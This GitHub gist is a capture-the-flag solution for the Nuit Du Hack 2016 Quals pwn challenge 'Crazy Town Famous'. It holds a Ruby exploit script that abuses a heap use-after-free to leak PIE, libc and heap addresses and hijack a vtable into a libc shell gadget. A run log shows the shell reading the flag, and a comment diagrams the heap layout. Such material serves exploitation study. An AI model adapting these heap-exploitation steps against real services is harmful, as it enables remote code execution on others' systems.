Skip to content

Instantly share code, notes, and snippets.

@Charo-IT
Last active May 12, 2016 02:16
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Charo-IT/99f1c1de0afae81ab397012f44441ae7 to your computer and use it in GitHub Desktop.
Save Charo-IT/99f1c1de0afae81ab397012f44441ae7 to your computer and use it in GitHub Desktop.
Nuit Du Hack 2016 Quals - Crazy Town Famous
#coding:ascii-8bit
require_relative "../../pwnlib" # https://github.com/Charo-IT/pwnlib
remote = true
if remote
host = "crazytownfamous.quals.nuitduhack.com"
port = 55551
libc_offset = {
"__libc_start_main" => 0x20490,
"unsorted_chunk" => 0x3bbb98,
"system" => 0x43da0,
"rce" => 0xec622,
}
else
host = "localhost"
port = 54321
libc_offset = {
"__libc_start_main" => 0x21dd0,
"unsorted_chunk" => 0x3be7b8,
"system" => 0x46640,
"rce" => 0xe58c5,
}
end
offset = {
"vtable_Assassin" => 0x208af0
}
got = {
"__libc_start_main" => 0x208f40
}
def print_all(tube)
tube.recv_until(">")
tube.sendline("print all")
end
def create_character(tube, type, name)
tube.recv_until(">")
tube.sendline("create")
tube.recv_until("but you know that aren't you?\n")
tube.sendline("character #{type}")
tube.recv_until("enter the name plz : ")
tube.sendline(name)
end
def create_animal(tube, type, master, name)
tube.recv_until(">")
tube.sendline("create")
tube.recv_until("but you know that aren't you?\n")
tube.sendline("animal #{type}")
tube.recv_until("who s the master?enter the name plz : ")
tube.sendline(master)
tube.recv_until("enter the name plz : ")
tube.sendline(name)
end
def kill_character(tube, assassin, victim)
tube.recv_until(">")
tube.sendline("kill")
tube.recv_until("enter the name plz : ")
tube.sendline(assassin)
tube.recv_until("enter the name plz : ")
tube.sendline(victim)
end
def marry(tube, character1, character2)
tube.recv_until(">")
tube.sendline("married")
tube.recv_until("enter the name plz : ")
tube.sendline(character1)
tube.recv_until("enter the name plz : ")
tube.sendline(character2)
end
def divorce(tube, character)
tube.recv_until(">")
tube.sendline("divorce")
tube.recv_until("enter the name plz : ")
tube.sendline(character)
end
PwnTube.open(host, port){|tube|
puts "[*] send townname"
tube.recv_until("enter the name of your city\n")
tube.sendline("hoge")
puts "[*] prepare for leaking PIE base"
create_character(tube, "assassin", "killer")
create_character(tube, "assassin", "c1")
create_character(tube, "assassin", "c2")
create_animal(tube, "cat", "c1", "p1")
marry(tube, "c1", "c2")
kill_character(tube, "killer", "c1")
create_character(tube, "assassin", "c3")
create_character(tube, "assassin", "c4")
marry(tube, "c3", "c4")
puts "[*] leak PIE base"
print_all(tube)
tube.recv_until("My name is c2")
pie_base = tube.recv_capture(/My name is : (.*)\n\n/)[0].ljust(8, "\0").unpack("Q")[0] - offset["vtable_Assassin"]
puts "PIE base = 0x%016x" % pie_base
puts "[*] prepare for leaking libc base"
create_character(tube, "assassin", "c5")
create_character(tube, "assassin", "c6")
create_animal(tube, "cat", "c5", "p2")
create_character(tube, "assassin", "A" * 256)
marry(tube, "c5", "c6")
kill_character(tube, "killer", "c6")
kill_character(tube, "killer", "A" * 256) # force malloc_consolidate
puts "[*] leak libc base"
print_all(tube)
tube.recv_until("My name is c5")
libc_base = tube.recv_capture(/My name is : (.*)\n\n/)[0].ljust(8, "\0").unpack("Q")[0] - libc_offset["unsorted_chunk"]
puts "libc base = 0x%016x" % libc_base
puts "[*] leak heap base"
payload = ""
payload << "AAAAAAAA" * 13
payload << [libc_base + libc_offset["unsorted_chunk"] + 0x10].pack("Q")
create_character(tube, "assassin", payload)
print_all(tube)
tube.recv_until("My name is c5")
heap_base = tube.recv_capture(/My name is : (.*)\n\n/)[0].ljust(8, "\0").unpack("Q")[0] - 0x390
puts "heap base = 0x%016x" % heap_base
kill_character(tube, "killer", payload)
create_character(tube, "assassin", "A" * 256)
kill_character(tube, "killer", "A" * 256) # force malloc_consolidate
puts "[*] overwrite vtable pointer"
payload = ""
payload << "A" * 87
create_character(tube, "assassin", payload)
kill_character(tube, "killer", payload)
payload = ""
payload << "AAAAAAAA" * 10
payload << [heap_base + 0x3d8].pack("Q")
create_character(tube, "assassin", payload)
puts "[*] create fake vtable"
payload = ""
payload << "B" * 7
create_character(tube, "assassin", payload)
kill_character(tube, "killer", "B" * 7)
payload = ""
payload << [libc_base + libc_offset["rce"]].pack("Q")
create_character(tube, "assassin", payload)
puts "[*] trigger shell"
kill_character(tube, "killer", "c5".ljust(0x100, "\0"))
tube.interactive
}
$ ruby CrazyTownFamous.rb
[*] connected
[*] send townname
[*] prepare for leaking PIE base
[*] leak PIE base
PIE base = 0x00007f3e75143000
[*] prepare for leaking libc base
[*] leak libc base
libc base = 0x00007f3e742c4000
[*] leak heap base
heap base = 0x00007f3e772e6c10
[*] overwrite vtable pointer
[*] create fake vtable
[*] trigger shell
[*] interactive mode
I kill ya with all my assasin skills
Oh my god I m dead
id
uid=1000(my_chall_pwned) gid=1000(pwned) groups=1000(pwned)
cat /home/*/flag
M4rri3d$Peopl3&N3v3r?Die$4#3v3rY0n3
exit
[*] connection closed
@Charo-IT
Copy link
Author

Charo-IT commented Apr 3, 2016

(1) create 3 characters(killer, c1, c2) and 1 animal(p1). killer is an assassin, and c1 is p1's master.
+------+------+------+------+------+------+------+------+
|killer| name |  c1  | name |  c2  | name |  p1  | name |
+------+------+------+------+------+------+------+------+
                  |                        ^
                  +------------------------+

(2) c1 and c2 get married.
+------+------+------+------+------+------+------+------+
|killer| name |  c1  | name |  c2  | name |  p1  | name |
+------+------+------+------+------+------+------+------+
                  |             |          ^
                  +-------------+----------+

(3) the killer killed c2.
+------+------+------+------+------+------+------+------+
|killer| name |  c1  | name |      |      |      |      |
+------+------+------+------+------+------+------+------+
                  |                        ^
                  +------------------------+
                  [!] c1 still references the area where p1 was.

(4) force malloc_consolidate.
+------+------+------+------+---------------------------+
|killer| name |  c1  | name |                           |
+------+------+------+------+---------------------------+
                  |                        ^
                  +------------------------+

(5) create a character(c3) with crafted name.
+------+------+------+------+------+--------------------+
|killer| name |  c1  | name |  c3  |        name        |
+------+------+------+------+------+--------------------+
                  |                        ^
                  +------------------------+

(6) we can perform arbitrary read by doing "print all".
    we can also call any function by killing c1 after overwriting p1's vtable pointer.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment